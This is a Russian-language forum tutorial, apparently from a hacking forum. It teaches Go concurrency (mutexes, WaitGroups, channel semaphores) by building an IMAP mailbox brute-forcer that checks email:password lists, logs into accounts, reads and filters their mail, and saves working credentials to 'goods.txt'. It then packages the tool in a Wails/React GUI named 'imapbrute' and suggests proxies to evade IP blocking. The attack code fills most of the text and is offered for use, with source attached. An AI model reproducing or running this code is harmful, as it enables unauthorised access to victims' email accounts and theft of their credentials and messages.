- Race Conditions (условие гонки) — возникают, когда несколько потоков или процессов пытаются одновременно получить доступ к общей памяти, например, читать и записывать информацию в файл.
- Deadlock — возникают, когда несколько потоков или процессов застревают в ожидании ресурсов, удерживаемых друг другом, и ни один из них не может продолжить выполнение.
- Livelock — похожи на дедлоки, но потоки или процессы не застревают, а постоянно меняют свое состояние в ответ на действия других, не продвигаясь вперед в выполнении задачи.
- Голодание — происходит, когда один или несколько потоков или процессов никогда не получают доступ к необходимым ресурсам из-за того, что другие постоянно занимают эти ресурсы.
Горутины
Golang использует уникальную модель конкурентного программирования, основанную на горутинaх — так называемых легковесных потоках. Процессы системы порождают потоки; однако создание потока является относительно дорогостоящей операцией. Легковесность горутин достигается за счет того, что они находятся на уровне потоков операционной системы. Горутины создаются в рамках потоков (горутины живут в потоках), и коммуникация между горутинами дешевле, чем между потоками. Глубже говоря, потоки имеют свой собственный стек, в то время как горутины организованы сложнее. Весь этот механизм управляется средой выполнения Go.Каждая программа на Go выполняется минимум в одной горутине. Для запуска горутины используется ключевое слово go. Горутины запускаются конкурентно, но не обязательно выполняются параллельно.
Для обмена данными используются каналы, которые позволяют горутинам общаться между собой. В основе каналов лежат принципы CSP. Для синхронизации доступа к данным используются мьютексы, которые позволяют только одной горутине в определенный момент времени выполнять код, защищенный мьютексом (например, получение доступа к файлу).
Реализация кода
В первую очередь разберемся с критической секцией кода — записью результатов в файл. Она может исполняться только одной горутиной в один момент времени, иначе возникнет состояние гонки. Изменим код.
C-подобный:
// 1
func saveCredentialsToFile(email, password string, counts map[string]int, mu *sync.Mutex) error {
// 2
mu.Lock()
// 3
defer mu.Unlock()
file, err := os.OpenFile("goods.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
return err
}
defer file.Close()
_, err = file.WriteString(fmt.Sprintf("%s:%s\n", email, password))
if err != nil {
return err
}
for sender, num := range counts {
if num > 0 {
_, err := file.WriteString(fmt.Sprintf("Сообщений от %s: %d\n", sender, num))
if err != nil {
return err
}
}
}
return nil
}
- Добавляем аргумент mu — указатель на объект типа sync.Mutex.
- Первым делом функция вызывает mu.Lock(), что блокирует мьютекс. Это гарантирует, что ни одна другая горутина не сможет войти в критическую секцию (запись в файл) до тех пор, пока текущая горутина не завершит свою работу и не вызовет mu.Unlock().
- С помощью defer mu.Unlock() мьютекс будет автоматически разблокирован по завершению работы функции, даже если функция завершится из-за ошибки.
Мы также ограничены потенциальными блокировками со стороны IMAP сервера. Хотя блокировка по IP возможна, судя по моим тестам, она не наступает мгновенно. Однако вероятно, что это произойдет, если мы отправим тысячи запросов сразу. Для обхода этой проблемы можно использовать прокси. Это потребует либо самостоятельного поиска рабочих прокси (резидентских или бесплатных), либо подключения к API стороннего сервиса.
Вынесем логику прохода по строкам с доступами в отдельную функцию.
C-подобный:
// 1
func processLine(line string, wg *sync.WaitGroup, sem chan struct{}, mu *sync.Mutex) {
// 2
defer wg.Done()
// 3
sem <- struct{}{}
// 4
defer func() { <-sem }()
parts := strings.Split(line, ":")
if len(parts) != 2 {
log.Printf("Некорректная строка: %v", line)
return
}
email := parts[0]
password := parts[1]
if !validateEmail(email) {
log.Printf("Некорректный адрес электронной почты: %v", email)
return
}
domain := strings.Split(email, "@")[1]
server, exists := getIMAPServer(domain)
if !exists {
log.Printf("IMAP сервер для домена %v не найден", domain)
return
}
cfg := auth.Config{
Server: server,
Port: 993,
Username: email,
Password: password,
}
client, err := auth.Login(cfg)
if err != nil {
log.Printf("Ошибка при аутентификации для %v: %v", email, err)
return
}
defer client.Logout()
log.Printf("Клиент для %v готов к использованию", email)
messages, err := emailutils.FetchEmails(client)
if err != nil {
log.Printf("Ошибка при получении сообщений для %v: %v", email, err)
return
}
filteredMessages, count := emailutils.FilterBySender(messages, "magic@mail.com", "support@google.com")
err = saveCredentialsToFile(email, password, count, mu)
if err != nil {
log.Printf("Ошибка при сохранении учетных данных для %v: %v", email, err)
}
for sender, num := range count {
if num > 0 {
log.Printf("Сообщений от %s: %d", sender, num)
}
}
for _, msg := range filteredMessages {
log.Printf("Email ID %d: %s", msg.Uid, msg.Envelope.Subject)
}
}
- Функция принимает аргументы в виде строки из файла, указателя на объект sync.WaitGroup, и sem (chan struct{}) — канала, используемого как семафор (для сигнализации о доступности слота для обработки следующей строки), а также мьютекса, который защищает доступ к файлу goods.txt.
- Уменьшаем счетчик WaitGroup по завершению функции.
- Блокируем один из слотов в семафоре.
- Освобождаем слот в семафоре по завершению функции.
Наконец, изменим код в основной функции.
C-подобный:
func main() {
file, err := os.Open("emails.txt")
if err != nil {
log.Fatalf("Не удалось открыть файл: %v", err)
}
defer file.Close()
// 1
var wg sync.WaitGroup
var mu sync.Mutex
// 2
sem := make(chan struct{}, 10)
scanner := bufio.NewScanner(file)
// 3
for scanner.Scan() {
line := scanner.Text()
wg.Add(1)
go processLine(line, &wg, sem, &mu)
}
// 4
wg.Wait()
if err := scanner.Err(); err != nil {
log.Fatalf("Ошибка при чтении файла: %v", err)
}
}
- Инициализируем WaitGroup и Mutex.
- Инициализируем семафор. Размер буфера канала установлен на 10, это значит, что не более 10 горутин могут выполняться одновременно.
- Для каждой прочитанной строки в WaitGroup добавляется одна единица (wg.Add(1)), что указывает на начало новой параллельной задачи. Для каждой строки запускается новая горутина processLine с передачей ей строки, указателя на WaitGroup, семафора и мьютекса.
- wg.Wait() блокирует выполнение основной функции до тех пор, пока все горутины не вызовут wg.Done()`, указывая на завершение своей работы. Это гарантирует, что программа не завершится до завершения всех параллельных операций.
Проект по написанию брутфорса почтовых ящиков по IMAP завершен!
Исходный код доступен в прикрепленном файле.
Wails
Возможно, вы спросите, для чего нужен GUI на Go? На самом деле, многим людям требуется автоматизация каких-то процессов, но они не готовы работать с терминалом, разворачивать контейнеры. Они готовы к цветам, краскам и кнопкам.Существует несколько фреймворков для создания графических интерфейсов на Golang. Самые популярные - go-gtk, fyne, qt, и еще с десяток менее известных. Однако все они довольно блеклые (возможно, за исключением Qt), и большинство очень плохо документировано. Среди прочих существует фреймворк - Wails. Что такое Wails? Это электрон здорового человека!
Electron - это фреймворк, который позволяет создавать приложения с графическим интерфейсом на JavaScript (HTML, CSS). Wails также берет концепцию JavaScript для фронтенд-части. Если вы не работали с JavaScript, то возможно, следует выбрать другой фреймворк для GUI. Впрочем, создание графических интерфейсов связкой HTML, CSS, JavaScript - довольно перспективная идея.
Если вы работали с электроном, то должны помнить, что для того чтобы объявить простую функцию, необходимо добавить её в конфиг в main.js, написать её логику в renderer.js, добавить её в preload.js (!), подключить к index.html. Почему preload не генерируется автоматически? Почему конфиг не генерируется автоматически? Этот фреймворк должен быть как один файл с фронтендом (графическим интерфейсом), второй с бекендом. Всё. Зачем там столько бойлерплейта? (сделаю предположение, что для гибкости, ведь мы по сути работаем в двух рантаймах). В Wails эти участки кода генерируются автоматически. По сути, вы пишете функции на Go, и просто импортируете её в index.html (и вызываете по кнопке). Всё!
Также к электрону можно подключить современные фреймворки типа React, Vue.js, Angular. Как? Возможно, в документации есть команда-шаблон, которая инициализирует проект сразу с одним из них? Нет, иди на хутор бабочек ловить. Нужно ли говорить, что такие шаблоны есть в Wails?
Безусловно, Wails уступает в популярности электрону, тем не менее на нём достаточно примеров кода, и, вроде, у них есть сервер в Discord с комьюнити.
Устанавливаем командой `go install github.com/wailsapp/wails/v2/cmd/wails@latest`.Инициализируем проект, на выбор есть шаблоны под самые популярные фронтенд-фреймворки (с TypeScript или без него) - https://wails.io/docs/gettingstarted/firstproject. Я выберу React, команда `wails init -n imap -t react`. `wails -help` - документация. У вас также должен быть установлен npm.
В файле main.go мы можем задать конфигурацию для окна приложения.
C-подобный:
package main
import (
"embed"
"github.com/wailsapp/wails/v2"
"github.com/wailsapp/wails/v2/pkg/options"
"github.com/wailsapp/wails/v2/pkg/options/assetserver"
)
//go:embed all:frontend/dist
var assets embed.FS
func main() {
app := NewApp()
// 1
err := wails.Run(&options.App{
Title: "imapbrute",
Width: 341,
Height: 256,
AssetServer: &assetserver.Options{
Assets: assets,
},
BackgroundColour: &options.RGBA{R: 27, G: 38, B: 54, A: 1},
OnStartup: app.startup,
Bind: []interface{}{
app,
},
})
if err != nil {
println("Error:", err.Error())
}
}
- Изменим название приложения, изменив поле Title, а также размеры окна, изменив параметры width и height.
Приступаем к интерфейсу. В папке frontend, внутри которой находится папка src, в файле app.jsx напишем небольшой код для демонстрации работы фреймворка. В целом, я оставлю всё без изменений, за исключением того, что пользователь будет передавать путь к файлу, используя оконный менеджер. Из всех функций будет только кнопка "Старт", которая вызывает функцию main для брутфорса IMAP серверов. Подробнее остановимся на взаимодействии кода на Go с JavaScript.
Если вам не понятен код на React, стоит немного изучить React. В целом, он построен на использовании хуков. Хуки представляют собой функции со своим API, каждый из которых делает что-то своё. В коде, например, используется хук useState, который изменяет состояние переменной. То, что передается в скобках после useState(''), - это начальное состояние. Когда мы вызываем set, мы изменяем его на новое значение, при этом к переменной обращаемся через первый аргумент из [] Также код пишется в файлах JSX, которые представляют собой смесь HTML и JS в рамках одного файла.
JavaScript:
import React, { useState } from 'react';
import './App.css';
// 1
import { SelectFile, MainF } from '../wailsjs/go/main/App';
function App() {
// 2
const [selectedFile, setSelectedFile] = useState('');
const [status, setStatus] = useState('');
// 3
const selectFile = async () => {
try {
const fileName = await SelectFile();
setSelectedFile(fileName);
} catch (error) {
console.error('Ошибка:', error);
}
};
// 4
const mainF = async () => {
try {
setStatus("В работе");
await MainF(selectedFile);
alert("Готово");
setStatus("");
} catch (error) {
console.error('Ошибка:', error);
}
};
// 5
return (
<div id="App">
// 6
<button onClick={selectFile}>Выбрать файл</button>
// 7
{selectedFile && (
<div>
<p>Выбранный файл: {selectedFile}</p>
// 8
{status ? (
<p>{status}</p>
) : (
<button onClick={mainF}>Старт</button>
)}
</div>
)}
</div>
);
}
export default App;
- Импортируем функции, которые будут написаны на Go.
- Используем хук useState для управления состоянием выбранного файла и статуса программы.
- Чтобы установить путь к выбранному файлу, используем асинхронную функцию, дожидаемся выбора файла пользователем, задаём маршрут, обрабатываем ошибку, если она возникает.
- Основная функция для работы. Внутри неё вызывается функция на Go (main из кода, который писали ранее). Устанавливаем статус в "В работе". Это будет необходимо для интерфейса. При нажатии кнопки "Старт" запускается процесс, и по статусу мы отрисовываем интерфейс (дабы исключить сценарий нажатия кнопки "Старт" дважды, который вероятно вызовет панику, или в любом случае отработает некорректно). Вызываем алерт при завершении работы (нативный алерт браузерного JavaScript). Устанавливаем статус в "" (ложноподобное значение). Обрабатываем ошибки.
- Код, который будет отображаться, находится в блоке return.
- Задаём кнопку для выбора файла, используя HTML, на которую навешиваем функцию selectFile (эта кнопка отображается всегда).
- Используем логическое И. Если файл выбран, отображаем следующий блок с названием файла.
- Приводим переменную status к булевому значению, используем тернарный оператор. Если status равен "" (или другому булевому значению), отображаем кнопку "Старт", на которую вешаем функцию main. В ином случае отображаем сам статус работы.
Переходим в app.go - переносим код с проекта выше, за исключением небольших изменений. Также реализуем функцию выбора файла с помощью оконного менеджера.
C-подобный:
// 1
func (a *App) SelectFile() (string, error) {
// 2
file, err := runtime.OpenFileDialog(a.ctx, runtime.OpenDialogOptions{})
if err != nil {
return "", err
}
// 3
absPath, err := filepath.Abs(file)
if err != nil {
return "", err
}
// 4
return absPath, nil
}
// 5
func (a *App) MainF(inputFilePath string) error {
file, err := os.Open(inputFilePath)
// ...
}
- Реализуем метод структуры App, который возвращает два значения: строку (абсолютный путь к выбранному файлу) и ошибку, если она возникла.
- Открываем диалоговое окно для выбора файла. Используем функцию OpenFileDialog из пакета runtime Wails. Обрабатываем ошибки.
- Получаем абсолютный путь к файлу. Функция filepath.Abs() используется для получения абсолютного пути к файлу, выбранному в диалоговом окне. Переменная file содержит относительный путь к выбранному файлу, возвращённому OpenFileDialog. Обрабатываем ошибки.
- Возвращаем значения.
- В функцию MainF передаём путь к файлу и меняем заданный путь на переданный.
Теперь код для брутфорса почтовых ящиков упакован в графический интерфейс. Для красоты дизайна мы можем заморочиться с CSS.
Как по мне, очень интересный фреймворк, и если вы планируете создавать графические приложения, стоит присмотреться!
Для более глубокого понимания процессов конкурентного программирования на Go нет ничего лучше книги "Concurrency in Go: Tools and Techniques for Developers". Это одна из самых важных и интересных областей программирования! (Например, вернувшись к коду, критическую секцию с записью файла можно оптимизировать, а оптимизация это деньги.)
А для более глубокого понимания Golang нет ничего лучше книги "Golang для профи. Работа с сетью, многопоточность, структуры данных и машинное обучение с Go" Михалиса Цукалоса.
Пираты без кораблей, аниме без сюжета, женщины без меня – нужно исправлять эти косяки, в тилимилитрямдий!
А для более глубокого понимания Golang нет ничего лучше книги "Golang для профи. Работа с сетью, многопоточность, структуры данных и машинное обучение с Go" Михалиса Цукалоса.
Пираты без кораблей, аниме без сюжета, женщины без меня – нужно исправлять эти косяки, в тилимилитрямдий!
Вложения
Последнее редактирование модератором: